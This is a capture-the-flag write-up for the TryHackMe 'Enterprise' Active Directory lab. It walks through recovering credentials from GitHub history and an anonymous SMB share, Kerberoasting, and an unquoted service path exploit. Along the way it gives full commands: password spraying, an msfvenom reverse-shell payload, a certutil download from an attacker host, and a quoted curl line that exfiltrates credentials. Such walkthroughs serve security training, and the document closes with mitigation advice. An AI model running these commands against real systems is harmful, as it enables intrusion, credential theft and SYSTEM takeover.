Enterprise — GitHub Credential Archaeology + Kerberoasting + Unquoted Service Path | TryHackMe
Enterprise is a Hard-rated Windows Active Directory machine on TryHackMe. You land in an internal ne 2026-5-19 08:58:50 Author: infosecwriteups.com(查看原文) 阅读量:12 收藏

Enterprise is a Hard-rated Windows Active Directory machine on TryHackMe. You land in an internal network with only a Domain Controller visible — no workstations, no other hosts. The attack surface is entirely web and domain.

Roshan Rajbanshi

Press enter or click to view image in full size

The kill chain spans three distinct phases: credential discovery through GitHub commit history and SMB anonymous enumeration, lateral movement via Kerberoasting, and local privilege escalation through an unquoted service path to achieve SYSTEM on the Domain Controller.

Platform  : TryHackMe
Difficulty: Hard
OS : Windows Server 2019 (Build 10.0.17763)
Domain : LAB.ENTERPRISE.THM (child) / ENTERPRISE.THM (forest root)
DC : LAB-DC.LAB.ENTERPRISE.THM
Table of Contents

Overview
Reconnaissance
Web Enumeration — Port 7990
OSINT — GitHub Credential Archaeology
SMB Enumeration — Anonymous Access
Credential Validation
Kerberoasting
RDP Foothold — User Flag
Privilege Escalation — Unquoted Service Path
Root Flag
Attack Chain Summary
Key Takeaways — Defense & Mitigation

Reconnaissance

nmap -Pn -sC -sV -p- <REDACTED>

The scan returned a classic Active Directory fingerprint. A few details stood out beyond the standard port set.

The RDP TLS certificate revealed the hostname LAB-DC.LAB.ENTERPRISE.THM, and the LDAP response confirmed a two-domain forest structure — LAB.ENTERPRISE.THM as the child domain under ENTERPRISE.THM as the forest root. This is relevant later for trust abuse considerations.

Port 7990 showed an IIS 10.0 server with a page title of Log in to continue - Log in with Atlassian account — a self-hosted Atlassian product running directly on the DC.

SMB signing was required across the board, ruling out NTLM relay attacks.

PORT      STATE  SERVICE
---- ----- -------
53/tcp open DNS — Simple DNS Plus
80/tcp open HTTP — Microsoft IIS 10.0 (blank page)
88/tcp open Kerberos
135/tcp open MSRPC
139/tcp open NetBIOS-SSN
389/tcp open LDAP — Domain: ENTERPRISE.THM
445/tcp open SMB — signing required
464/tcp open kpasswd5
593/tcp open RPC over HTTP
3268/tcp open LDAP Global Catalog
3389/tcp open RDP — CN: LAB-DC.LAB.ENTERPRISE.THM
5985/tcp open WinRM
7990/tcp open HTTP — Atlassian login portal
9389/tcp open AD Web Services

Added hostnames to /etc/hosts:

echo "<REDACTED>  ENTERPRISE.THM LAB.ENTERPRISE.THM LAB-DC.LAB.ENTERPRISE.THM" | sudo tee -a /etc/hosts

Web Enumeration — Port 7990

Fetching the Atlassian portal on port 7990 returned a cloud-federated SSO login page. No locally exploitable Atlassian CVE applied here. However, the HTML source contained a banner injected into the login page:

Reminder to all Enterprise-THM Employees:
We are moving to Github!

This was a deliberate hint pointing to a public GitHub organization. The next logical step was OSINT.

OSINT — GitHub Credential Archaeology

Queried the GitHub API for the Enterprise-THM organization:

curl -s https://api.github.com/orgs/Enterprise-THM/repos | jq '.[].clone_url'

One repository returned: About-Us. Cloned it and examined the full commit history:

git clone https://github.com/Enterprise-THM/About-Us.git
cd About-Us
git log -p

Nothing useful — only two README commits. Checked organization members:

curl -s https://api.github.com/orgs/Enterprise-THM/members | jq '.[].login'

Found member: Nik-enterprise-dev. Queried their public repositories:

curl -s https://api.github.com/users/Nik-enterprise-dev/repos | jq '.[].name'

One repository: mgmtScript.ps1. The current file had empty credential fields — $userName = '' and $userPassword = ''. Checked the commit history:

curl -s https://api.github.com/repos/Nik-enterprise-dev/mgmtScript.ps1/commits | jq '.[] | {sha: .sha, message: .commit.message}'

Two commits. The earlier one carried the message: “Updated things — I accidentally added something.” A dead giveaway. Pulled the original version:

curl -s https://raw.githubusercontent.com/Nik-enterprise-dev/mgmtScript.ps1/<REDACTED>/SystemInfo.ps1

The original commit contained hardcoded credentials:

Press enter or click to view image in full size

$userName = 'nik'
$userPassword = '<REDACTED>'

Note: Git commit history is permanent. Overwriting or deleting credentials in a later commit does not remove them from the repository history. Any credential pushed to a public repository should be treated as permanently compromised.

SMB Enumeration — Anonymous Access

With no credentials yet validated, attempted an anonymous SMB session:

smbclient -L //<REDACTED> -N

The null session succeeded. Shares enumerated:

Sharename       Type    Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Docs Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk Users Share. Do Not Touch!

Press enter or click to view image in full size

Two non-standard shares stood out: Docs and Users. The comment on the Users share — "Do Not Touch!" — is a well-known CTF convention for "touch this immediately."

Docs Share

smbclient //<REDACTED>/Docs -N -c "mget *"

Downloaded two files:

RSA-Secured-Credentials.xlsx    (AES-256 encrypted)
RSA-Secured-Document-PII.docx (encrypted)

Both were password-protected. Confirmed AES-256 encryption via strings output on the XLSX file. Set aside for later.

Users Share — PSReadline History

Recursively list the users' shares to map the directory tree:

smbclient //<REDACTED>/Users -N -c "recurse; ls"

Visible user profiles: Administrator, atlbitbucket, bitbucket, LAB-ADMIN, Public.

Under LAB-ADMIN's profile, a PSReadline history file appeared:

\LAB-ADMIN\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\Consolehost_hisory.txt

PSReadline automatically saves every command typed in PowerShell to this file. It persists across sessions and is readable by anyone with share access. Downloaded it:

smbclient //<REDACTED>/Users -N -c "get LAB-ADMIN\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\Consolehost_hisory.txt"
cat Consolehost_hisory.txt

The history contained:

cd C:\
mkdir monkey
cd ..
echo "<REDACTED>:<REDACTED>">private.txt
curl -X POST -H 'Content-Type: ascii/text' -d .\private.txt' http://[REDACTED]/dropper.php
del private.txt

A credential string — replication:<REDACTED> — was written to a file and exfiltrated. The username suggested a domain replication account.

Credential Validation

Sprayed the recovered password across all known usernames from the SMB share enumeration:

crackmapexec smb <REDACTED> -u 'replication' -p '<REDACTED>' -d LAB.ENTERPRISE.THM
crackmapexec smb <REDACTED> -u 'LAB-ADMIN' -p '<REDACTED>' -d LAB.ENTERPRISE.THM
crackmapexec smb <REDACTED> -u 'atlbitbucket' -p '<REDACTED>' -d LAB.ENTERPRISE.THM
crackmapexec smb <REDACTED> -u 'bitbucket' -p '<REDACTED>' -d LAB.ENTERPRISE.THM

Result:

[-] LAB.ENTERPRISE.THM\replication:<REDACTED>  STATUS_LOGON_FAILURE
[+] LAB.ENTERPRISE.THM\LAB-ADMIN:<REDACTED>
[-] LAB.ENTERPRISE.THM\atlbitbucket:<REDACTED> STATUS_LOGON_FAILURE
[-] LAB.ENTERPRISE.THM\bitbucket:<REDACTED> STATUS_LOGON_FAILURE

LAB-ADMIN validated. WinRM and RDP were blocked for this account — the RDP error indicated an expired password, and WinRM returned a flat denial.

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Also validated the GitHub credentials nik:<REDACTED> from the commit history:

crackmapexec smb <REDACTED> -u 'nik' -p '<REDACTED>' -d LAB.ENTERPRISE.THM
[+] LAB.ENTERPRISE.THM\nik:<REDACTED>

Two valid domain accounts in hand. Both were standard users with SMB access only. The next step was to leverage authenticated domain access for Kerberoasting.

Kerberoasting

Any authenticated domain user can request Kerberos service tickets (TGS) for accounts with registered Service Principal Names. Those tickets are encrypted with the service account’s password hash and can be cracked offline.

impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:'<REDACTED>' -dc-ip <REDACTED> -request

One kerberoastable account returned:

ServicePrincipalName : HTTP/LAB-DC
Name : bitbucket
MemberOf : CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM
PasswordLastSet : 2021-03-11 20:20:01

Press enter or click to view image in full size

The sensitive-account Group membership was noted — a custom group with a name suggesting elevated privileges.

The TGS hash type was RC4 (etype 23), which is faster to crack than AES. No GPU available, so used John the Ripper:

john bitbucket.hash --wordlist=/usr/share/wordlists/rockyou.txt
<REDACTED>    (bitbucket)
Session completed.

Cracked in under five seconds.

Credentials: bitbucket:<REDACTED>

RDP Foothold — User Flag

Ran LDAP enumeration to understand bitbucket's group memberships before attempting access:

ldapsearch -x -H ldap://<REDACTED> -D "[email protected]" -w "<REDACTED>" -b "DC=LAB,DC=ENTERPRISE,DC=THM" "(sAMAccountName=bitbucket)" memberOf

Group memberships returned:

Press enter or click to view image in full size

memberOf: CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM
memberOf: CN=Password-Policy-Exemption,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM
memberOf: CN=Remote Desktop Users,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM

Remote Desktop Users confirmed RDP access. Connected:

xfreerdp /u:bitbucket /p:'<REDACTED>' /d:LAB.ENTERPRISE.THM /v:<REDACTED> /cert:ignore

RDP session landed on the Domain Controller desktop as bitbucket.

Dead Ends Worth Documenting

Before moving to privesc, I explored the AD privilege path through sensitive-account. The group held DCSync rights — the replication account within it had the following extended rights on the domain object:

DS-Replication-Get-Changes         (1131f6aa)
DS-Replication-Get-Changes-All (1131f6ab)
DS-Replication-Synchronize (1131f6ac)
DS-Replication-Manage-Topology (1131f6ad)

However, the password recovered from the PSReadline history did not authenticate as replication. The account had PasswordLastSet: null — it may never have had a password set interactively.

Attempted to reach replication through korone and spooks, Both members of the Account Operators. However, bitbucket had no write ACE on either account. AS-REP roasting and additional Kerberoasting both returned nothing. This path was abandoned in favour of local privilege escalation.

user.txt — C:\Users\bitbucket\Desktop\

Privilege Escalation — Unquoted Service Path

Enumerated auto-start services with unquoted paths containing spaces — the conditions required for an unquoted service path attack:

Get-WmiObject Win32_Service | Where-Object {
$_.StartMode -eq "Auto" -and
$_.PathName -notlike '"*' -and
$_.PathName -notlike "C:\Windows*" -and
$_.PathName -like "* *"
} | Select Name, PathName

Three services returned. One was immediately exploitable:

Name               : zerotieroneservice
PathName : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe

Why this is exploitable:

When Windows resolves an unquoted service path containing spaces, it attempts each space-delimited token as a potential executable, in order:

C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\Zero.exe <-- checked before the real binary
C:\Program Files (x86)\Zero Tier\Zero.exe
C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe <-- real binary

If a malicious binary exists at any earlier path and the service runs as SYSTEM, it executes with SYSTEM privileges.

Confirmed write access to the target directory:

icacls "C:\Program Files (x86)\Zero Tier"
BUILTIN\Users:(OI)(CI)(W)

All domain users have write access. The exploit path was confirmed.

Generating the Payload

On Kali:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<REDACTED> LPORT=4444 -f exe -o Zero.exe

Served it over HTTP:

python3 -m http.server 8080

Started the listener:

nc -lvnp 4444

Planting the Binary

From the RDP PowerShell session, I downloaded the payload using certutil — a Windows built-in certificate utility commonly abused as a file downloader:

certutil -urlcache -f http://<REDACTED>:8080/Zero.exe "C:\Program Files (x86)\Zero Tier\Zero.exe"
CertUtil: -URLCache command completed successfully.

Triggering the Exploit

Restart-Service zerotieroneservice

The service restarted, Windows resolved the path, and found Zero.exe before the legitimate binary, and executed it as SYSTEM.

Listener received the callback:

Press enter or click to view image in full size

Connection received on <REDACTED> 49956
Microsoft Windows [Version 10.0.17763.1817]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system

Root Flag

Press enter or click to view image in full size

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt

Attack Chain Summary

Nmap
└── Port 7990 Atlassian banner
└── "We are moving to Github"
└── GitHub API: Enterprise-THM org
└── About-Us repo → dead end
└── Member: Nik-enterprise-dev
└── mgmtScript.ps1 → original commit
└── nik:<REDACTED>
SMB null session
└── Users share → PSReadline history (LAB-ADMIN)
└── <REDACTED>:<REDACTED>
└── Password spray → LAB-ADMIN:<REDACTED> (SMB valid)
Kerberoast (as nik)
└── bitbucket → HTTP/LAB-DC SPN → TGS hash
└── John → <REDACTED>
└── LDAP → Remote Desktop Users membership
└── xfreerdp → RDP shell on DC
└── user.txt ✓
Unquoted service path (zerotieroneservice)
└── C:\Program Files (x86)\Zero Tier\ → BUILTIN\Users:(W)
└── Plant Zero.exe → Restart-Service
└── nt authority\system
└── root.txt ✓

Key Takeaways — Defense & Mitigation

Git commit history is permanent. Credentials pushed to a public repository cannot be removed by overwriting them in a new commit. The only correct response is to immediately rotate the credential and treat it as fully compromised. Tools like git-secrets or pre-commit hooks can prevent accidental pushes.

PSReadline history is readable via SMB. Windows PowerShell saves command history to AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt for every user. If their profile directory is accessible over SMB — even anonymously — this file is trivially readable. Sensitive shares should require authenticated access with least-privilege ACLs.

Kerberoasting requires only a valid domain account. No elevated privileges are needed to request TGS tickets for SPN-enabled service accounts. Any service account with a weak password is roastable by any authenticated user. Service accounts should use long, randomly generated passwords and ideally Group Managed Service Accounts (gMSA), which rotate automatically.

Unquoted service paths with writable directories are SYSTEM escalation. The fix is one character — wrap the path in quotes in the service configuration. Any auto-start service running as SYSTEM with an unquoted path and a writable intermediate directory is a direct privilege escalation path for any local user. Regular audits with tools like PowerUp or manual WMI queries should be part of any hardening baseline.


文章来源: https://infosecwriteups.com/enterprise-github-credential-archaeology-kerberoasting-unquoted-service-path-tryhackme-1f1396d76204?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh